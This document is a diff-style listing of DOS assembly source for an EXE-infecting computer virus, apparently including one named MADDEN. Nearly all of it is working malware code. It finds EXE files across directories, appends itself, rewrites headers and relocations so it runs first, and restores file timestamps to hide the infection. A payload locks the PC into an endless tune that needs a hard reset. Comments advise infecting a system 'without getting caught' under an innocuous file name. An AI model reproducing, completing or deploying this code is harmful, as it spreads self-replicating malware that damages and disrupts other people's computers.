|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||
;if so return nc, else return c
|
||||
;What makes an EXE file useable?:
|
||||
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||
; are the first two bytes in the file.)
|
||||
; b) The Overlay Number field in the EXE header must be zero.
|
||||
; c) There must be room in the relocatable table for NUMRELS
|
||||
; more relocatables without enlarging it.
|
||||
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||
; the initial CS:0000 of the test file. If it does, the virus
|
||||
; is probably already in that file, so we skip it.
|
||||
;
|
||||
FILE_OK:
|
||||
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||
jc OK_END ;error in reading the file, so quit
|
||||
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||
jc OK_END ;no - exit with c set
|
||||
call REL_ROOM ;is there room in the relocatable table?
|
||||
jc OK_END ;no - exit
|
||||
call IS_ID_THERE ;is id at CS:0000?
|
||||
OK_END: ret ;return with c flag set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||
;number is anything but zero.
|
||||
CHECK_SIG_OVERLAY:
|
||||
mov al,'M' ;check the signature first
|
||||
mov ah,'Z'
|
||||
cmp ax,WORD PTR [EXE_HDR]
|
||||
jz CSO_1 ;jump if OK
|
||||
stc ;else set carry and exit
|
||||
ret
|
||||
CSO_1: xor ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||
ret ;c is set if it's anything but 0
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||
;
|
||||
GET_EXE_HEADER:
|
||||
mov dx,OFFSET USEFILE
|
||||
mov ax,3D02H ;r/w access open file
|
||||
int 21H
|
||||
jc RE_RET ;error opening - C set - quit without closing
|
||||
mov [HANDLE],ax ;else save file handle
|
||||
mov bx,ax ;handle to bx
|
||||
mov cx,1CH ;read 28 byte EXE file header
|
||||
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||
mov ah,3FH
|
||||
int 21H
|
||||
RE_RET: ret ;return with c set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines if there are at least NUMRELS openings in the
|
||||
;current relocatable table in USEFILE. If there are, it returns with
|
||||
;carry reset, otherwise it returns with carry set. The computation
|
||||
;this routine does is to compare whether
|
||||
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||
;
|
||||
REL_ROOM:
|
||||
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||
RR_RET: ret ;exit with carry set properly
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||
;it returns c reset.
|
||||
;
|
||||
IS_ID_THERE:
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||
mov dx,16
|
||||
mul dx
|
||||
mov cx,dx
|
||||
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H
|
||||
mov ah,3FH
|
||||
mov bx,[HANDLE]
|
||||
mov dx,OFFSET VIDC
|
||||
mov cx,2 ;read 2 bytes into VIDC
|
||||
int 21H
|
||||
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||
mov ax,[VIDC]
|
||||
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||
clc
|
||||
jnz II_RET ;if not, then virus is not already in this file
|
||||
stc ;else it is probably there already
|
||||
II_RET: ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||
SETBDY:
|
||||
mov al,BYTE PTR [FSIZE]
|
||||
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||
jz SB_E ;all set - exit
|
||||
mov cx,10H ;no - write any old bytes to even it up
|
||||
sub cl,al ;number of bytes to write in cx
|
||||
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||
adc WORD PTR [FSIZE+2],0
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
SB_E: ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the EXE file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the EXE file header and two relocatables in the program, so that
|
||||
;it will work in the new environment. It also makes sure the virus starts
|
||||
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||
;
|
||||
INFECT:
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H ;go to end of file
|
||||
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||
mov cx,OFFSET FINAL ;last byte of code
|
||||
xor dx,dx ;first byte of code, DS:DX
|
||||
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||
inc bx
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx is that number
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to 1st relocatable
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||
mov bx,[HANDLE] ;from the EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it to relocatable REL1+1
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||
inc bx ;at FSIZE+REL1A+1
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to place to write SP to
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||
mov bx,[HANDLE] ;from EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it where it belongs
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer relavtive to start of file
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||
mov bx,[HANDLE]
|
||||
mov cx,4
|
||||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||
int 21H
|
||||
;done writing relocatable vectors
|
||||
;so now adjust the EXE header values
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to start of file
|
||||
int 21H
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||
shr ax,cl
|
||||
mov bx,WORD PTR [FSIZE+2]
|
||||
and bl,0FH
|
||||
mov cl,4
|
||||
shl bl,cl
|
||||
add ah,bl
|
||||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||
mov bx,OFFSET FINAL ;compute new initial SS
|
||||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add ax,bx
|
||||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||
mov ax,OFFSET VIRUS ;get initial IP
|
||||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||
mov ax,STACKSIZE ;get initial SP
|
||||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||
mov dx,WORD PTR [FSIZE+2]
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||
mov bx,OFFSET FINAL
|
||||
add ax,bx
|
||||
xor bx,bx
|
||||
adc dx,bx ;put it in ax:dx
|
||||
add ax,200H ;and set up the new page count
|
||||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||
pop ax
|
||||
and ax,1FFH ;now calculate last page size
|
||||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||
mov ax,NUMRELS ;adjust relocatables counter
|
||||
add WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,1CH ;and save data at start of file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||
dec ax ;in order to calculate location of
|
||||
dec ax ;where to add relocatables
|
||||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||
mul bx
|
||||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||
mov bx,0
|
||||
adc dx,bx ;dx:ax=end of old table in file
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to table end
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||
mov bx,OFFSET REL1
|
||||
inc bx ;offset of REL1
|
||||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||
mov bx,OFFSET REL2
|
||||
add bx,3 ;offset of REL2
|
||||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||
mov WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,8 ;and then write 8 bytes of data in file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
ret ;that's it, infection is complete!
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine determines whether the reproduction code should be executed.
|
||||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||
;Currently, it only executes if the system time variable is a multiple of
|
||||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||
;executions of the program. TIMECT should be 2^n-1
|
||||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||
;definitely runs when this loader program is run, but after that, the time must
|
||||
;be an even multiple of TIMECT+1.
|
||||
;
|
||||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||
;
|
||||
SHOULDRUN:
|
||||
xor ah,ah ;zero ax to start, set z flag
|
||||
SR1: ret ;this gets replaced by NOP when program runs
|
||||
int 1AH
|
||||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||
ret ;return with z flag set if it is, else nz set
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||
;it is redundant after the initial load
|
||||
SETSR:
|
||||
mov al,90H ;NOP code
|
||||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||
ret ;and return
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||
;the initial DTA in the variable OLDDTA.
|
||||
NEW_DTA:
|
||||
mov ah,2FH ;get current DTA in ES:BX
|
||||
int 21H
|
||||
mov WORD PTR [OLDDTA],bx ;save it here
|
||||
mov ax,es
|
||||
mov WORD PTR [OLDDTA+2],ax
|
||||
mov ax,cs
|
||||
mov es,ax ;set up ES
|
||||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where we want it
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||
;original value.
|
||||
RESTORE_DTA:
|
||||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||
mov ax,WORD PTR [OLDDTA+2]
|
||||
mov ds,ax
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where to put it
|
||||
mov ax,cs ;restore ds before exiting
|
||||
mov ds,ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine saves the original file attribute in FATTR, the file date and
|
||||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||
;file attribute to read/write, and leaves the file opened in read/write
|
||||
;mode (since it has to open the file to get the date and size), with the handle
|
||||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||
SAVE_ATTRIBUTE:
|
||||
mov ah,43H ;get file attr
|
||||
mov al,0
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
mov [FATTR],cl ;save it here
|
||||
mov ah,43H ;now set file attr to r/w
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov al,2 ;now that we know it's r/w
|
||||
mov ah,3DH ;we can r/w access open file
|
||||
int 21H
|
||||
mov [HANDLE],ax ;save file handle here
|
||||
mov ah,57H ;and get the file date and time
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx ;and save it here
|
||||
mov [FDATE],dx ;and here
|
||||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Restore file attribute, and date and time of the file as they were before
|
||||
;it was infected. This also closes the file
|
||||
REST_ATTRIBUTE:
|
||||
mov dx,[FDATE] ;get old date and time
|
||||
mov cx,[FTIME]
|
||||
mov ah,57H ;set file date and time to old value
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE] ;close file
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H ;Set file attr to old value
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
ret
|
||||
|
||||
FINAL: ;last byte of code to be kept in virus
|
||||
|
||||
VSEG ENDS
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Virus stack segment
|
||||
|
||||
VSTACK SEGMENT PARA STACK
|
||||
db STACKSIZE dup (?)
|
||||
VSTACK ENDS
|
||||
|
||||
END VIRUS ;Entry point is the virus
|
||||
@@ -0,0 +1,805 @@
|
||||
;The MADDEN virus is an EXE file infector which can jump from directory to
|
||||
;directory. It attaches itself to the end of a file and
|
||||
;modifies the EXE file header so that it gets control first, before the host
|
||||
;program. When it is done doing its job, it passes control to the host program,
|
||||
;so that the host executes without a hint that the virus is there.
|
||||
|
||||
|
||||
.SEQ ;segments must appear in sequential order
|
||||
;to simulate conditions in actual active virus
|
||||
|
||||
|
||||
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||
|
||||
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||
;attaches itself to another EXE file. As such, the host program for this
|
||||
;installer simply tries to delete itself off of disk and terminates. That is
|
||||
;worthwhile if you want to infect a system with the virus without getting
|
||||
;caught. Just execute the program that infects, and it disappears without a
|
||||
;trace. You might want to name the program something more innocuous, though.
|
||||
;MADDEN also locks the pc into a 'maddening' toon when it runs out
|
||||
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
|
||||
;then linked to the 'infected' .exe form.)
|
||||
|
||||
HOSTSEG SEGMENT BYTE
|
||||
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||
|
||||
PGMSTR DB 'MADDEN.EXE',0
|
||||
|
||||
HOST:
|
||||
mov ax,cs ;we want DS=CS here
|
||||
mov ds,ax
|
||||
mov dx,OFFSET PGMSTR
|
||||
mov ah,41H
|
||||
int 21H ;delete this exe file
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally
|
||||
HOSTSEG ENDS
|
||||
|
||||
|
||||
;Host program stack segment
|
||||
|
||||
HSTACK SEGMENT PARA STACK
|
||||
db 100H dup (?) ;100 bytes long
|
||||
HSTACK ENDS
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;This is the virus itself
|
||||
|
||||
STACKSIZE EQU 100H ;size of stack for the virus
|
||||
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||
|
||||
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||
|
||||
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||
;ASM file is layed out, this program will look exactly like a simple program
|
||||
;that was infected by the virus.
|
||||
|
||||
VSEG SEGMENT PARA
|
||||
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||
|
||||
;data storage area comes before any code
|
||||
VIRUSID DW 0C8AAH ;identifies virus
|
||||
OLDDTA DD 0 ;old DTA segment and offset
|
||||
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||
ALLFILE DB '\*.*',0 ;search string for any file
|
||||
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||
LEVEL DB 0 ;depth to search directories for a file
|
||||
HANDLE DW 0 ;file handle
|
||||
FATTR DB 0 ;old file attribute storage area
|
||||
FTIME DW 0 ;old file time stamp storage area
|
||||
FDATE DW 0 ;old file date stamp storage area
|
||||
FSIZE DD 0 ;file size storage area
|
||||
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||
VCODE DB 1 ;identifies this version
|
||||
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 3043,0010,
|
||||
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||
dw 6087,0020,
|
||||
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 3043,0010,
|
||||
|
||||
dw 6087,0006,
|
||||
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||
|
||||
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||
dw 6087,0020,
|
||||
|
||||
dw 0ffffh
|
||||
;--------------------------------------------------------------------------
|
||||
;MADDEN virus main routine starts here
|
||||
VIRUS:
|
||||
push ax ;save startup info in ax
|
||||
mov ax,cs
|
||||
mov ds,ax ;set up DS=CS for the virus
|
||||
mov ax,es ;get PSP Seg
|
||||
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||
jnz REL1 ;conditions aren't met, go execute host program
|
||||
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||
call NEW_DTA ;set up a new DTA location
|
||||
call FIND_FILE ;get an exe file to attack
|
||||
jnz TOON ;returned nz - no valid files left, play maddening toon!
|
||||
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||
call INFECT ;move program code to file we found to attack
|
||||
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||
pop ax ;restore startup value of ax
|
||||
REL1: ;relocatable marker for host stack segment
|
||||
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||
cli ;interrupts off while changing stack
|
||||
mov ss,bx
|
||||
REL1A: ;marker for host stack pointer
|
||||
mov sp,OFFSET HSTACK
|
||||
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||
sti ;interrupts back on
|
||||
REL2: ;relocatable marker for host code segment
|
||||
jmp FAR PTR HOST ;begin execution of host program
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;First Level - Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a complex directory search to find an EXE file in the
|
||||
;current directory, one of its subdirectories, or the root directory or one
|
||||
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||
;If you want to change the depth of the search, make sure to allocate enough
|
||||
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||
;functions 4EH and 4FH) on each level.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov al,'\' ;set up current directory path in USEFILE
|
||||
mov BYTE PTR [USEFILE],al
|
||||
mov si,OFFSET USEFILE+1
|
||||
xor dl,dl
|
||||
mov ah,47H
|
||||
int 21H ;get current dir, USEFILE= \dir
|
||||
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||
jnz FF2 ;not the root
|
||||
xor al,al ;make correction for root directory,
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||
FF2: mov al,2
|
||||
mov [LEVEL],al ;search 2 subdirs deep
|
||||
call FINDBR ;attempt to locate a valid file
|
||||
jz FF3 ;found one - exit
|
||||
xor al,al ;nope - try the root directory
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||
inc al ;al=1
|
||||
mov [LEVEL],al ;search one subdir deep
|
||||
call FINDBR ;attempt to find file
|
||||
FF3:
|
||||
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||
|
||||
;***************************************************************************
|
||||
; This routine enables MADDEN virus to compell the pc to play a
|
||||
;'maddening' toon when it can't find a file to infect
|
||||
;**************************************************************************
|
||||
TOON:
|
||||
cli ;interrupts off
|
||||
mov al,10110110xb ;the magic number
|
||||
out 43h,al ;send it
|
||||
lea si,MUZIK ;point (si) to our note table
|
||||
TOON2: cld ;must increment forward
|
||||
lodsw ;load word into ax and increment (si)
|
||||
cmp ax,0ffffh ;is it ffff - if so end of table
|
||||
jz GO_MUZIK2 ;so, time to jump into endless loop
|
||||
out 42h,al ;send LSB first
|
||||
mov al,ah ;place MSB in al
|
||||
out 42h,al ;send it next
|
||||
in al,61h ;get value to turn on speaker
|
||||
or al,00000011xb ;OR the gotten value
|
||||
out 61h,al ;now we turn on speaker
|
||||
lodsw ;load the repeat loop count into (ax)
|
||||
LOOP6: mov cx,8000 ;delay count
|
||||
LOOP7: loop LOOP7 ;do the delay
|
||||
dec ax ;decrement repeat count
|
||||
jnz loop6 ;if not = 0 loop back
|
||||
in al,61h ;all done
|
||||
and al,11111100xb ;number turns speaker off
|
||||
out 61h,al ;send it
|
||||
jmp short TOON2 ;now go do next note
|
||||
GO_MUZIK2: ;our loop point
|
||||
sti ;enable interrupts
|
||||
jmp TOON ;jump back to beginning - this code
|
||||
; has the additional advantage of
|
||||
;locking out CTRL-ALT-DEL reboot.
|
||||
;The user must do a hard reset to recover.
|
||||
;--------------------------------------------------------------------------
|
||||
;SEARCH FUNCTION
|
||||
;---------------------------------------------------------------------------
|
||||
;Second Level - Find in a branch
|
||||
;
|
||||
;This function searches the directory specified in USEFILE for EXE files.
|
||||
;after searching the specified directory, it searches subdirectories to the
|
||||
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||
;routine exits with Z set and leaves the file and path in USEFILE
|
||||
;
|
||||
FINDBR:
|
||||
call FINDEXE ;search current dir for EXE first
|
||||
jnc FBE3 ;found it - exit
|
||||
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||
jz FBE1 ;no - exit
|
||||
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||
inc di
|
||||
push di ;store pointer to first *
|
||||
call FIRSTDIR ;get first subdirectory
|
||||
jnz FBE ;couldn't find it, so quit
|
||||
FB1: ;otherwise, check it out
|
||||
pop di ;strip \*.* off of USEFILE
|
||||
xor al,al
|
||||
stosb
|
||||
mov di,OFFSET USEFILE
|
||||
mov bx,OFFSET DTA2+1EH
|
||||
mov al,[LEVEL]
|
||||
mov dl,2BH ;compute correct DTA location for subdir name
|
||||
mul dl ;which depends on the depth we're at in the search
|
||||
add bx,ax ;bx points to directory name
|
||||
mov si,bx
|
||||
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||
push di ;save position of first letter in sub_dir name
|
||||
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||
jz FBE2 ;if successful, exit
|
||||
call NEXTDIR ;get next subdirectory in this directory
|
||||
jz FB1 ;go check it if search successful
|
||||
FBE: ;else exit, NZ set, cleaned up
|
||||
inc [LEVEL] ;increment the level counter before exit
|
||||
pop di ;strip any path or file spec off of original
|
||||
xor al,al ;directory path
|
||||
stosb
|
||||
FBE1: mov al,1 ;return with NZ set
|
||||
or al,al
|
||||
ret
|
||||
|
||||
FBE2: pop di ;successful exit, pull this off the stack
|
||||
FBE3: xor al,al ;and set Z
|
||||
ret ;exit
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part A - Find an EXE file
|
||||
;
|
||||
;This function searches the path in USEFILE for an EXE file which passes
|
||||
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||
;with the c flag set. It will search a whole directory before giving up.
|
||||
;
|
||||
FINDEXE:
|
||||
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
